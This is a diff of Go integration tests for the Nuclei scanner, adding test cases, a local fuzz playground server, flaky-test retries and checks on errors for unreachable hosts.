if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type httpMatcherExtractorDynamicExtractor struct{}
|
||||
|
||||
func (h *httpMatcherExtractorDynamicExtractor) Execute(filePath string) error {
|
||||
router := httprouter.New()
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
html := `<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<body>
|
||||
<a href="/domains">Domains</a>
|
||||
</body>
|
||||
</html>`
|
||||
fmt.Fprint(w, html)
|
||||
})
|
||||
router.GET("/domains", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
html := `<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<title>Dynamic Extractor Test</title>
|
||||
</head>
|
||||
<body>
|
||||
<!-- The content of the title tag matches the regex pattern for both the extractor and matcher for 'title' -->
|
||||
</body>
|
||||
</html>
|
||||
`
|
||||
fmt.Fprint(w, html)
|
||||
})
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type httpInteractshRequest struct{}
|
||||
@@ -106,7 +155,7 @@ func (h *httpInteractshRequest) Execute(filePath string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
return expectResultsCount(results, 1, 2)
|
||||
}
|
||||
|
||||
type httpDefaultMatcherCondition struct{}
|
||||
@@ -371,6 +420,7 @@ func (h *httpDSLFunctions) Execute(filePath string) error {
|
||||
}
|
||||
|
||||
for _, header := range extracted {
|
||||
header = strings.Trim(header, `"`)
|
||||
parts := strings.Split(header, ": ")
|
||||
index, err := strconv.Atoi(parts[0])
|
||||
if err != nil {
|
||||
@@ -460,7 +510,7 @@ func (h *httpPostMultipartBody) Execute(filePath string) error {
|
||||
var routerErr error
|
||||
|
||||
router.POST("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
if err := r.ParseMultipartForm(1 * 1024); err != nil {
|
||||
if err := r.ParseMultipartForm(unitutils.Mega); err != nil {
|
||||
routerErr = err
|
||||
return
|
||||
}
|
||||
@@ -778,8 +828,18 @@ func (h *httpPaths) Execute(filepath string) error {
|
||||
}
|
||||
}
|
||||
|
||||
if !reflect.DeepEqual(expected, actual) {
|
||||
return fmt.Errorf("%8v: %v\n%-8v: %v", "expected", expected, "actual", actual)
|
||||
if len(expected) > len(actual) {
|
||||
actualValuesIndex := len(actual) - 1
|
||||
if actualValuesIndex < 0 {
|
||||
actualValuesIndex = 0
|
||||
}
|
||||
return fmt.Errorf("missing values : %v", expected[actualValuesIndex:])
|
||||
} else if len(expected) < len(actual) {
|
||||
return fmt.Errorf("unexpected values : %v", actual[len(expected)-1:])
|
||||
} else {
|
||||
if !reflect.DeepEqual(expected, actual) {
|
||||
return fmt.Errorf("expected: %v\n\nactual: %v", expected, actual)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -892,7 +952,7 @@ func (h *httpRequestSelfContained) Execute(filePath string) error {
|
||||
}()
|
||||
defer server.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "", debug)
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "", debug, "-esc")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -928,7 +988,7 @@ func (h *httpRequestSelfContainedWithParams) Execute(filePath string) error {
|
||||
}()
|
||||
defer server.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "", debug)
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "", debug, "-esc")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -971,7 +1031,7 @@ func (h *httpRequestSelfContainedFileInput) Execute(filePath string) error {
|
||||
}
|
||||
defer FileLoc.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "", debug, "-V", "test="+FileLoc.Name())
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "", debug, "-V", "test="+FileLoc.Name(), "-esc")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -1382,34 +1442,6 @@ func (h *httpCLBodyWithHeader) Execute(filePath string) error {
|
||||
return expectResultsCount(got, 1)
|
||||
}
|
||||
|
||||
type httpSaveExtractorValuesToFile struct{}
|
||||
|
||||
func (h *httpSaveExtractorValuesToFile) Execute(filePath string) error {
|
||||
router := httprouter.New()
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
var buff bytes.Buffer
|
||||
for i := 0; i < 10; i++ {
|
||||
buff.WriteString(fmt.Sprintf(`"value": %v`+"\n", i))
|
||||
}
|
||||
_, _ = w.Write(buff.Bytes())
|
||||
})
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// remove output.txt file if exists
|
||||
if !fileutil.FileExists("output.txt") {
|
||||
return fmt.Errorf("extractor output file output.txt file does not exist")
|
||||
} else {
|
||||
_ = os.Remove("output.txt")
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
// constant shouldn't be overwritten by cli var with same name
|
||||
type ConstantWithCliVar struct{}
|
||||
|
||||
@@ -1531,3 +1563,53 @@ func (h *httpMultiRequest) Execute(filePath string) error {
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type httpRawPathSingleSlash struct{}
|
||||
|
||||
func (h *httpRawPathSingleSlash) Execute(filepath string) error {
|
||||
expectedPath := "/index.php"
|
||||
results, err := testutils.RunNucleiBinaryAndGetCombinedOutput(debug, []string{"-t", filepath, "-u", "scanme.sh/index.php", "-debug-req"})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var actual string
|
||||
for _, v := range strings.Split(results, "\n") {
|
||||
if strings.Contains(v, "GET") {
|
||||
parts := strings.Fields(v)
|
||||
if len(parts) == 3 {
|
||||
actual = parts[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if actual != expectedPath {
|
||||
return fmt.Errorf("expected: %v\n\nactual: %v", expectedPath, actual)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type httpRawUnsafePathSingleSlash struct{}
|
||||
|
||||
func (h *httpRawUnsafePathSingleSlash) Execute(filepath string) error {
|
||||
expectedPath := "/index.php"
|
||||
results, err := testutils.RunNucleiBinaryAndGetCombinedOutput(debug, []string{"-t", filepath, "-u", "scanme.sh/index.php", "-debug-req"})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var actual string
|
||||
for _, v := range strings.Split(results, "\n") {
|
||||
if strings.Contains(v, "GET") {
|
||||
parts := strings.Fields(v)
|
||||
if len(parts) == 3 {
|
||||
actual = parts[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if actual != expectedPath {
|
||||
return fmt.Errorf("expected: %v\n\nactual: %v", expectedPath, actual)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -7,9 +7,12 @@ import (
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/kitabisa/go-ci"
|
||||
"github.com/logrusorgru/aurora"
|
||||
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils/fuzzplayground"
|
||||
sliceutil "github.com/projectdiscovery/utils/slice"
|
||||
)
|
||||
|
||||
@@ -20,10 +23,9 @@ type TestCaseInfo struct {
|
||||
}
|
||||
|
||||
var (
|
||||
debug = os.Getenv("DEBUG") == "true"
|
||||
githubAction = os.Getenv("GH_ACTION") == "true"
|
||||
customTests = os.Getenv("TESTS")
|
||||
protocol = os.Getenv("PROTO")
|
||||
debug = os.Getenv("DEBUG") == "true"
|
||||
customTests = os.Getenv("TESTS")
|
||||
protocol = os.Getenv("PROTO")
|
||||
|
||||
success = aurora.Green("[✓]").String()
|
||||
failed = aurora.Red("[✘]").String()
|
||||
@@ -35,6 +37,7 @@ var (
|
||||
"dns": dnsTestCases,
|
||||
"workflow": workflowTestcases,
|
||||
"loader": loaderTestcases,
|
||||
"profile-loader": profileLoaderTestcases,
|
||||
"websocket": websocketTestCases,
|
||||
"headless": headlessTestcases,
|
||||
"whois": whoisTestCases,
|
||||
@@ -52,6 +55,11 @@ var (
|
||||
"dsl": dslTestcases,
|
||||
"flow": flowTestcases,
|
||||
"javascript": jsTestcases,
|
||||
"matcher-status": matcherStatusTestcases,
|
||||
}
|
||||
// flakyTests are run with a retry count of 3
|
||||
flakyTests = map[string]bool{
|
||||
"protocols/http/self-contained-file-input.yaml": true,
|
||||
}
|
||||
|
||||
// For debug purposes
|
||||
@@ -78,16 +86,36 @@ func main() {
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// start fuzz playground server
|
||||
defer fuzzplayground.Cleanup()
|
||||
server := fuzzplayground.GetPlaygroundServer()
|
||||
defer server.Close()
|
||||
go func() {
|
||||
if err := server.Start("localhost:8082"); err != nil {
|
||||
if !strings.Contains(err.Error(), "Server closed") {
|
||||
gologger.Fatal().Msgf("Could not start server: %s\n", err)
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
customTestsList := normalizeSplit(customTests)
|
||||
|
||||
failedTestTemplatePaths := runTests(customTestsList)
|
||||
|
||||
if len(failedTestTemplatePaths) > 0 {
|
||||
if githubAction {
|
||||
debug = true
|
||||
fmt.Println("::group::Failed integration tests in debug mode")
|
||||
_ = runTests(failedTestTemplatePaths)
|
||||
if ci.IsCI() {
|
||||
// run failed tests again assuming they are flaky
|
||||
// if they fail as well only then we assume that there is an actual issue
|
||||
fmt.Println("::group::Running failed tests again")
|
||||
failedTestTemplatePaths = runTests(failedTestTemplatePaths)
|
||||
fmt.Println("::endgroup::")
|
||||
|
||||
if len(failedTestTemplatePaths) > 0 {
|
||||
debug = true
|
||||
fmt.Println("::group::Failed integration tests in debug mode")
|
||||
_ = runTests(failedTestTemplatePaths)
|
||||
fmt.Println("::endgroup::")
|
||||
}
|
||||
}
|
||||
|
||||
os.Exit(1)
|
||||
@@ -150,6 +178,8 @@ func runTests(customTemplatePaths []string) []string {
|
||||
var err error
|
||||
if proto == "interactsh" || strings.Contains(testCaseInfo.Path, "interactsh") {
|
||||
failedTemplatePath, err = executeWithRetry(testCaseInfo.TestCase, testCaseInfo.Path, interactshRetryCount)
|
||||
} else if flakyTests[testCaseInfo.Path] {
|
||||
failedTemplatePath, err = executeWithRetry(testCaseInfo.TestCase, testCaseInfo.Path, interactshRetryCount)
|
||||
} else {
|
||||
failedTemplatePath, err = execute(testCaseInfo.TestCase, testCaseInfo.Path)
|
||||
}
|
||||
@@ -174,6 +204,7 @@ func execute(testCase testutils.TestCase, templatePath string) (string, error) {
|
||||
}
|
||||
|
||||
func expectResultsCount(results []string, expectedNumbers ...int) error {
|
||||
results = filterHeadlessLogs(results)
|
||||
match := sliceutil.Contains(expectedNumbers, len(results))
|
||||
if !match {
|
||||
return fmt.Errorf("incorrect number of results: %d (actual) vs %v (expected) \nResults:\n\t%s\n", len(results), expectedNumbers, strings.Join(results, "\n\t")) // nolint:all
|
||||
@@ -186,3 +217,17 @@ func normalizeSplit(str string) []string {
|
||||
return r == ','
|
||||
})
|
||||
}
|
||||
|
||||
// if chromium is not installed go-rod installs it in .cache directory
|
||||
// this function filters out the logs from download and installation
|
||||
func filterHeadlessLogs(results []string) []string {
|
||||
// [launcher.Browser] 2021/09/23 15:24:05 [launcher] [info] Starting browser
|
||||
filtered := []string{}
|
||||
for _, result := range results {
|
||||
if strings.Contains(result, "[launcher.Browser]") {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, result)
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
@@ -5,7 +5,7 @@ import osutils "github.com/projectdiscovery/utils/os"
|
||||
// All Interactsh related testcases
|
||||
var interactshTestCases = []TestCaseInfo{
|
||||
{Path: "protocols/http/interactsh.yaml", TestCase: &httpInteractshRequest{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},
|
||||
{Path: "protocols/http/interactsh-stop-at-first-match.yaml", TestCase: &httpInteractshStopAtFirstMatchRequest{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},
|
||||
{Path: "protocols/http/default-matcher-condition.yaml", TestCase: &httpDefaultMatcherCondition{}, DisableOn: func() bool { return true }}, // disable this test for now
|
||||
{Path: "protocols/http/interactsh-stop-at-first-match.yaml", TestCase: &httpInteractshStopAtFirstMatchRequest{}, DisableOn: func() bool { return true }}, // disable this test for now
|
||||
{Path: "protocols/http/default-matcher-condition.yaml", TestCase: &httpDefaultMatcherCondition{}, DisableOn: func() bool { return true }},
|
||||
{Path: "protocols/http/interactsh-requests-mc-and.yaml", TestCase: &httpInteractshRequestsWithMCAnd{}},
|
||||
}
|
||||
@@ -14,6 +14,7 @@ var jsTestcases = []TestCaseInfo{
|
||||
{Path: "protocols/javascript/redis-pass-brute.yaml", TestCase: &javascriptRedisPassBrute{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},
|
||||
{Path: "protocols/javascript/ssh-server-fingerprint.yaml", TestCase: &javascriptSSHServerFingerprint{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},
|
||||
{Path: "protocols/javascript/net-multi-step.yaml", TestCase: &networkMultiStep{}},
|
||||
{Path: "protocols/javascript/net-https.yaml", TestCase: &javascriptNetHttps{}},
|
||||
}
|
||||
|
||||
var (
|
||||
@@ -23,6 +24,16 @@ var (
|
||||
defaultRetry = 3
|
||||
)
|
||||
|
||||
type javascriptNetHttps struct{}
|
||||
|
||||
func (j *javascriptNetHttps) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "scanme.sh", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type javascriptRedisPassBrute struct{}
|
||||
|
||||
func (j *javascriptRedisPassBrute) Execute(filePath string) error {
|
||||
|
||||
@@ -19,16 +19,16 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/core"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/core/inputs"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/input/provider"
|
||||
parsers "github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/parsers"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/projectdiscovery/ratelimit"
|
||||
@@ -69,18 +69,12 @@ func executeNucleiAsLibrary(templatePath, templateURL string) ([]string, error)
|
||||
defer cache.Close()
|
||||
|
||||
mockProgress := &testutils.MockProgressClient{}
|
||||
reportingClient, err := reporting.New(&reporting.Options{}, "")
|
||||
reportingClient, err := reporting.New(&reporting.Options{}, "", false)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer reportingClient.Close()
|
||||
|
||||
outputWriter := testutils.NewMockOutputWriter()
|
||||
var results []string
|
||||
outputWriter.WriteCallback = func(event *output.ResultEvent) {
|
||||
results = append(results, fmt.Sprintf("%v\n", event))
|
||||
}
|
||||
|
||||
defaultOpts := types.DefaultOptions()
|
||||
_ = protocolstate.Init(defaultOpts)
|
||||
_ = protocolinit.Init(defaultOpts)
|
||||
@@ -88,6 +82,12 @@ func executeNucleiAsLibrary(templatePath, templateURL string) ([]string, error)
|
||||
defaultOpts.Templates = goflags.StringSlice{templatePath}
|
||||
defaultOpts.ExcludeTags = config.ReadIgnoreFile().Tags
|
||||
|
||||
outputWriter := testutils.NewMockOutputWriter(defaultOpts.OmitTemplate)
|
||||
var results []string
|
||||
outputWriter.WriteCallback = func(event *output.ResultEvent) {
|
||||
results = append(results, fmt.Sprintf("%v\n", event))
|
||||
}
|
||||
|
||||
interactOpts := interactsh.DefaultOptions(outputWriter, reportingClient, mockProgress)
|
||||
interactClient, err := interactsh.New(interactOpts)
|
||||
if err != nil {
|
||||
@@ -99,6 +99,7 @@ func executeNucleiAsLibrary(templatePath, templateURL string) ([]string, error)
|
||||
catalog := disk.NewCatalog(path.Join(home, "nuclei-templates"))
|
||||
ratelimiter := ratelimit.New(context.Background(), 150, time.Second)
|
||||
defer ratelimiter.Stop()
|
||||
|
||||
executerOpts := protocols.ExecutorOptions{
|
||||
Output: outputWriter,
|
||||
Options: defaultOpts,
|
||||
@@ -110,6 +111,7 @@ func executeNucleiAsLibrary(templatePath, templateURL string) ([]string, error)
|
||||
HostErrorsCache: cache,
|
||||
Colorizer: aurora.NewAurora(true),
|
||||
ResumeCfg: types.NewResumeCfg(),
|
||||
Parser: templates.NewParser(),
|
||||
}
|
||||
engine := core.New(defaultOpts)
|
||||
engine.SetExecuterOptions(executerOpts)
|
||||
@@ -126,8 +128,7 @@ func executeNucleiAsLibrary(templatePath, templateURL string) ([]string, error)
|
||||
}
|
||||
store.Load()
|
||||
|
||||
input := &inputs.SimpleInputProvider{Inputs: []*contextargs.MetaInput{{Input: templateURL}}}
|
||||
_ = engine.Execute(store.Templates(), input)
|
||||
_ = engine.Execute(context.Background(), store.Templates(), provider.NewSimpleInputProviderWithUrls(templateURL))
|
||||
engine.WorkPool().Wait() // Wait for the scan to finish
|
||||
|
||||
return results, nil
|
||||
|
||||
@@ -172,7 +172,14 @@ func (h *nonExistentTemplateList) Execute(nonExistingTemplateList string) error
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
_, err := testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-target", ts.URL, "-template-url", ts.URL+"/404")
|
||||
configFileData := `remote-template-domain: [ "` + ts.Listener.Addr().String() + `" ]`
|
||||
err := os.WriteFile("test-config.yaml", []byte(configFileData), permissionutil.ConfigFilePermission)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove("test-config.yaml")
|
||||
|
||||
_, err = testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-target", ts.URL, "-template-url", ts.URL+"/404", "-config", "test-config.yaml")
|
||||
if err == nil {
|
||||
return fmt.Errorf("expected error for nonexisting workflow url")
|
||||
}
|
||||
@@ -188,7 +195,14 @@ func (h *nonExistentWorkflowList) Execute(nonExistingWorkflowList string) error
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
_, err := testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-target", ts.URL, "-workflow-url", ts.URL+"/404")
|
||||
configFileData := `remote-template-domain: [ "` + ts.Listener.Addr().String() + `" ]`
|
||||
err := os.WriteFile("test-config.yaml", []byte(configFileData), permissionutil.ConfigFilePermission)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove("test-config.yaml")
|
||||
|
||||
_, err = testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-target", ts.URL, "-workflow-url", ts.URL+"/404", "-config", "test-config.yaml")
|
||||
if err == nil {
|
||||
return fmt.Errorf("expected error for nonexisting workflow url")
|
||||
}
|
||||
|
||||
@@ -0,0 +1,120 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
)
|
||||
|
||||
var matcherStatusTestcases = []TestCaseInfo{
|
||||
{Path: "protocols/http/get.yaml", TestCase: &httpNoAccess{}},
|
||||
{Path: "protocols/network/net-https.yaml", TestCase: &networkNoAccess{}},
|
||||
{Path: "protocols/headless/headless-basic.yaml", TestCase: &headlessNoAccess{}},
|
||||
{Path: "protocols/javascript/net-https.yaml", TestCase: &javascriptNoAccess{}},
|
||||
{Path: "protocols/websocket/basic.yaml", TestCase: &websocketNoAccess{}},
|
||||
{Path: "protocols/dns/a.yaml", TestCase: &dnsNoAccess{}},
|
||||
}
|
||||
|
||||
type httpNoAccess struct{}
|
||||
|
||||
func (h *httpNoAccess) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "trust_me_bro.real", debug, "-ms", "-j")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
event := &output.ResultEvent{}
|
||||
_ = json.Unmarshal([]byte(results[0]), event)
|
||||
expectedError := "no address found for host"
|
||||
if !strings.Contains(event.Error, expectedError) {
|
||||
return fmt.Errorf("unexpected result: expecting \"%s\" error but got \"%s\"", expectedError, event.Error)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type networkNoAccess struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *networkNoAccess) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "trust_me_bro.real", debug, "-ms", "-j")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
event := &output.ResultEvent{}
|
||||
_ = json.Unmarshal([]byte(results[0]), event)
|
||||
|
||||
if event.Error != "no address found for host" {
|
||||
return fmt.Errorf("unexpected result: expecting \"no address found for host\" error but got \"%s\"", event.Error)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type headlessNoAccess struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *headlessNoAccess) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "trust_me_bro.real", debug, "-headless", "-ms", "-j")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
event := &output.ResultEvent{}
|
||||
_ = json.Unmarshal([]byte(results[0]), event)
|
||||
|
||||
if event.Error == "" {
|
||||
return fmt.Errorf("unexpected result: expecting an error but got \"%s\"", event.Error)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type javascriptNoAccess struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *javascriptNoAccess) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "trust_me_bro.real", debug, "-ms", "-j")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
event := &output.ResultEvent{}
|
||||
_ = json.Unmarshal([]byte(results[0]), event)
|
||||
|
||||
if event.Error == "" {
|
||||
return fmt.Errorf("unexpected result: expecting an error but got \"%s\"", event.Error)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type websocketNoAccess struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *websocketNoAccess) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "ws://trust_me_bro.real", debug, "-ms", "-j")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
event := &output.ResultEvent{}
|
||||
_ = json.Unmarshal([]byte(results[0]), event)
|
||||
|
||||
if event.Error == "" {
|
||||
return fmt.Errorf("unexpected result: expecting an error but got \"%s\"", event.Error)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type dnsNoAccess struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *dnsNoAccess) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "trust_me_bro.real", debug, "-ms", "-j")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
event := &output.ResultEvent{}
|
||||
_ = json.Unmarshal([]byte(results[0]), event)
|
||||
|
||||
if event.Error == "" {
|
||||
return fmt.Errorf("unexpected result: expecting an error but got \"%s\"", event.Error)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -14,7 +14,7 @@ type multiProtoDynamicExtractor struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *multiProtoDynamicExtractor) Execute(templatePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(templatePath, "blog.projectdiscovery.io", debug)
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(templatePath, "docs.projectdiscovery.io", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -1,11 +1,15 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
osutils "github.com/projectdiscovery/utils/os"
|
||||
"github.com/projectdiscovery/utils/reader"
|
||||
)
|
||||
|
||||
var networkTestcases = []TestCaseInfo{
|
||||
@@ -16,6 +20,8 @@ var networkTestcases = []TestCaseInfo{
|
||||
{Path: "protocols/network/variables.yaml", TestCase: &networkVariables{}},
|
||||
{Path: "protocols/network/same-address.yaml", TestCase: &networkBasic{}},
|
||||
{Path: "protocols/network/network-port.yaml", TestCase: &networkPort{}},
|
||||
{Path: "protocols/network/net-https.yaml", TestCase: &networkhttps{}},
|
||||
{Path: "protocols/network/net-https-timeout.yaml", TestCase: &networkhttps{}},
|
||||
}
|
||||
|
||||
const defaultStaticPort = 5431
|
||||
@@ -29,22 +35,26 @@ func (h *networkBasic) Execute(filePath string) error {
|
||||
ts := testutils.NewTCPServer(nil, defaultStaticPort, func(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
data := make([]byte, 4)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
data, err := reader.ConnReadNWithTimeout(conn, 4, time.Duration(5)*time.Second)
|
||||
if err != nil {
|
||||
routerErr = err
|
||||
return
|
||||
}
|
||||
if string(data) == "PING" {
|
||||
_, _ = conn.Write([]byte("PONG"))
|
||||
} else {
|
||||
routerErr = fmt.Errorf("invalid data received: %s", string(data))
|
||||
}
|
||||
})
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "Could not run nuclei: %s\n", err)
|
||||
return err
|
||||
}
|
||||
if routerErr != nil {
|
||||
fmt.Fprintf(os.Stderr, "routerErr: %s\n", routerErr)
|
||||
return routerErr
|
||||
}
|
||||
|
||||
@@ -60,8 +70,8 @@ func (h *networkMultiStep) Execute(filePath string) error {
|
||||
ts := testutils.NewTCPServer(nil, defaultStaticPort, func(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
data := make([]byte, 5)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
data, err := reader.ConnReadNWithTimeout(conn, 5, time.Duration(5)*time.Second)
|
||||
if err != nil {
|
||||
routerErr = err
|
||||
return
|
||||
}
|
||||
@@ -69,8 +79,8 @@ func (h *networkMultiStep) Execute(filePath string) error {
|
||||
_, _ = conn.Write([]byte("PING"))
|
||||
}
|
||||
|
||||
data = make([]byte, 6)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
data, err = reader.ConnReadNWithTimeout(conn, 6, time.Duration(5)*time.Second)
|
||||
if err != nil {
|
||||
routerErr = err
|
||||
return
|
||||
}
|
||||
@@ -109,7 +119,7 @@ func (h *networkRequestSelContained) Execute(filePath string) error {
|
||||
_, _ = conn.Write([]byte("Authentication successful"))
|
||||
})
|
||||
defer ts.Close()
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "", debug)
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "", debug, "-esc")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -126,8 +136,8 @@ func (h *networkVariables) Execute(filePath string) error {
|
||||
ts := testutils.NewTCPServer(nil, defaultStaticPort, func(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
data := make([]byte, 4)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
data, err := reader.ConnReadNWithTimeout(conn, 4, time.Duration(5)*time.Second)
|
||||
if err != nil {
|
||||
routerErr = err
|
||||
return
|
||||
}
|
||||
@@ -154,8 +164,8 @@ func (n *networkPort) Execute(filePath string) error {
|
||||
ts := testutils.NewTCPServer(nil, 23846, func(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
data := make([]byte, 4)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
data, err := reader.ConnReadNWithTimeout(conn, 4, time.Duration(5)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if string(data) == "PING" {
|
||||
